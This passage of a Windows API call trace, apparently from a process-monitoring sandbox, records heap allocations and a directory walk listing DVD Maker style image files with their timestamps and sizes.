(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9278a0 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x936d00 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xdc0) returned 0x93a4a8 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x935720) returned 1 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9278c0 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x936e08 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9278e0 [0245.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x936f10 [0245.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.365] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927900 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937018 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927920 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937120 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927940 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937228 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927960 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937330 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927980 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937438 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9279a0 [0245.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937540 [0245.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9272e0) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0245.368] GetLastError () returned 0x12 [0245.368] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.368] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0245.368] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0245.368] GetLastError () returned 0x12 [0245.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.369] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.369] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.369] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, 